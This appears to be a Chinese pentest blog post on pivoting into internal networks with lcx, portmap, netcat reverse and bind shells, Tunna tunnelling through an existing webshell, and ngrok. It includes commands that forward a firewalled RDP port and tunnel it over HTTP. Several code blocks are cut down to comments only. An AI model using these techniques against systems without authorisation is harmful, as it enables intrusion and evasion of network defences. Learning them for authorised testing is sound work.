参考文献:http://payloads.online/archivers/2018-02-02/1
http://www.freebuf.com/articles/web/170970.html
工具下载:https://github.com/Brucetg/Pentest-tools
使用端口转发技术来访问内网其他主机中,或者将内网中某个端口转发到本地。
端口映射 :
端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机。
1.lcx
1 | -listen <监听端口> <转发端口> |
端口映射 (无法访问内网)
A(192.168.x.xx)无法访问B( 172.21.xx.xx)主机上的端口,但B可以访问外网
实现内网端口转发
1 | //在A主机上监听两个端口,并将来自 8989端口的请求传送给9898端口 |
linux使用方式
1 | ./portmap -m 2 -p1 8989 -p2 9898 |
A与B建立一个通道,将9898的数据不断的传送到B上的目标端口,中间也包括B主机目标端口响应的数据
端口转发 (能够访问内网某台主机)
①A能访问B主机的任何端口,但是无法访问C主机上的端口
实现端口转发
1 | //B主机上监听的端口就相当于访问了C主机上的端口 |
②由于防火墙限制,部分端口无法通过防火墙
实现本地端口转发
//将该B主机的无法通过防火墙的3389端口透传到防火墙允许的其他端口53
1 B主机上执行:lcx -tran 53 B主机ip 3389
2. Termite
这个以前总结过,就不再细说了,直接看此文章就行了https://www.jianshu.com/p/cdaf50bfe6e1
3.nc反弹
①反向连接:
1 | //在公网主机上进行监听: |
成功后得到一个内网主机的cmd shell
②正向连接
1 | //远程主机上执行: |
成功后得到了一个远程主机的一个cmd shell。
4.tunna
Tunna通过HTTP协议建立一个TCP通信隧道,属于端口复用技术。它可以用来绕过防火墙环境中的网络限制。
1 | --help, -h 显示此帮助信息并退出 |
A已经拥有了B主机的Webshell,但是无法对B主机的其他端口进行通信
1
2
3
4
5 //将目标服务器的3389端口转发到本地的1234端口
python proxy.py -u {WebShell地址} -l 1234 -r 3389 -v -n -s
//将10.10.12.1服务器的3389端口转发到本地的1234端口
python proxy.py -u {WebShell地址} -l 1234 -r 3389 -a 10.10.12.1 -v -n -s
5.ngrok
访问内网上的内容
1 | //在本机上执行 |
在本机浏览器中访问Forwarding
后的网址,就能访问内网主机上的文件。